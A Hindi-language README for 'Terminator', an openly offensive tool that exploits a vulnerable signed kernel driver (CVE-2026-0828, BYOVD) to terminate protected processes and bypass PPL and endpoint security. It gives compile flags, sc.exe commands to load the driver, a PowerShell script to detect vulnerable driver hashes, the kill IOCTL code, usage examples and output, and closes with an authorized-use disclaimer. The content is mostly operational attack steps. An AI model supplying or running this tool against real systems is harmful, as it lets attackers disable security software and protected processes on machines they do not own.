
कर्नेल-मोड प्रोसेस किलर जो CVE-2026-0828 (BYOVD) का शोषण करके एक असुरक्षित हस्ताक्षरित ड्राइवर के माध्यम से संरक्षित प्रोसेस को समाप्त करता है, PPL और एंडपॉइंट सुरक्षा को बायपास करते हुए।
एक कर्नेल-मोड प्रोसेस समाप्ति टूल जो सुरक्षित प्रोसेस को यूज़र मोड से समाप्त करने के लिए एक कमजोर ड्राइवर (CVE-2026-0828) का उपयोग करता है।
Windows पर MinGW-w64 (GCC) की आवश्यकता है। इसके साथ कंपाइल करें:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
फ़्लैग विवरण:
| फ़्लैग | उद्देश्य |
|---|---|
--% | PowerShell stop-parsing टोकन (तर्कों को g++ को शाब्दिक रूप से पास करता है) |
-Oz | न्यूनतम आकार के लिए अनुकूलन |
-ffunction-sections / -fdata-sections | प्रत्येक फ़ंक्शन/डेटा को अलग सेक्शन में रखें |
-static / -static-libgcc / -static-libstdc++ | स्टैटिक लिंकिंग (कोई रनटाइम DLL निर्भरता नहीं) |
-Wl,--gc-sections | लिंकर अनुपयोगी सेक्शन को garbage-collect करता है |
-W | चेतावनियाँ सक्षम करें |
आउटपुट: स्टैंडअलोन terminator.exe (~20-30 KB स्ट्रिप्ड)।
यह प्रोजेक्ट एक कमजोर कर्नेल ड्राइवर (STProcessMonitorDriver) के शोषण को प्रदर्शित करता है, जो एक अमान्य IOCTL_KILL_PROCESS हैंडलर को उजागर करता है, जिससे विशेषाधिकारों या सुरक्षा तंत्रों (PPL, EPROCESS फ्लैग, आदि) की परवाह किए बिना किसी भी प्रोसेस को समाप्त किया जा सकता है।
| घटक | उद्देश्य |
|---|---|
terminator.cpp | यूज़र-मोड क्लाइंट जो प्रोसेस की गणना करता है और kill IOCTL भेजता है |
terminator.hpp | प्रोसेस गणना और समाप्ति के लिए क्लास इंटरफ़ेस |
ProcessMonitorDriver.sys | कमजोर कर्नेल ड्राइवर (बाहरी, शामिल नहीं) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) के माध्यम से स्नैपशॉट बनाता हैProcess32First/Process32Next के साथ सभी प्रोसेस को इटरेट करता हैTerminator::ProcessKill()
\\.\STProcessMonitorDriver के लिए हैंडल खोलता हैIOCTL_KILL_PROCESS (0xB822200C) भेजता हैकमजोर ड्राइवर लोड करें (व्यवस्थापक की आवश्यकता है):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
यदि ProcessMonitorDriver.sys का एक कमजोर संस्करण पहले से इंस्टॉल है और एक सेवा के रूप में चल रहा है (जैसे, किसी वैध एप्लिकेशन से), तो Terminator बिना नया ड्राइवर लोड किए सीधे कनेक्ट हो सकता है।
जांचें कि सेवा मौजूद है और चल रही है:
sc.exe query STProcessMonitor
सत्यापित करें कि ड्राइवर संस्करण कमजोर है (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
यदि सेवा मौजूद है और कमजोर संस्करण के साथ RUNNING है, तो ड्राइवर लोडिंग चरणों को छोड़ दें और Terminator को सीधे चलाएं।
| संस्करण | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
अन्य संस्करण भी प्रभावित हो सकते हैं; उपयोग से पहले ड्राइवर के IOCTL हैंडलर को सत्यापित करें।
terminator.exe -proc <process_name1> [process_name2] ...
उदाहरण:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
भेद्यता: ड्राइवर STProcessMonitorDriver एक IOCTL हैंडलर (0xB822200C) पंजीकृत करता है जो:
PsLookupProcessByProcessId → ZwTerminateProcess को सीधे कॉल करता हैSYSTEM टोकन) में चलता है, सभी यूज़र-मोड ACL को बायपास करता हैप्रभाव: ड्राइवर एक्सेस वाला कोई भी गैर-व्यवस्थापक उपयोगकर्ता निम्न को समाप्त कर सकता है:
SeDebugPrivilege आवश्यकताओं वाले प्रोसेसमूल कारण: ObReferenceObjectByHandle सत्यापन की कमी, कोई SeSinglePrivilegeCheck(SeDebugPrivilege) नहीं, और कोई प्रोसेस ऑब्जेक्ट एक्सेस जांच नहीं।
यह टूल केवल अधिकृत सुरक्षा अनुसंधान और रेड टीम अभ्यास के लिए है।
जिन सिस्टमों के आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, उनके विरुद्ध अनधिकृत उपयोग अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। किसी भी वातावरण में तैनात करने से पहले लिखित प्राधिकरण सुनिश्चित करें।
कमजोर ड्राइवर (
ProcessMonitorDriver.sys) प्रदर्शन उद्देश्यों के लिए जानबूझकर त्रुटिपूर्ण है और इसे प्रोडक्शन में कभी तैनात नहीं किया जाना चाहिए।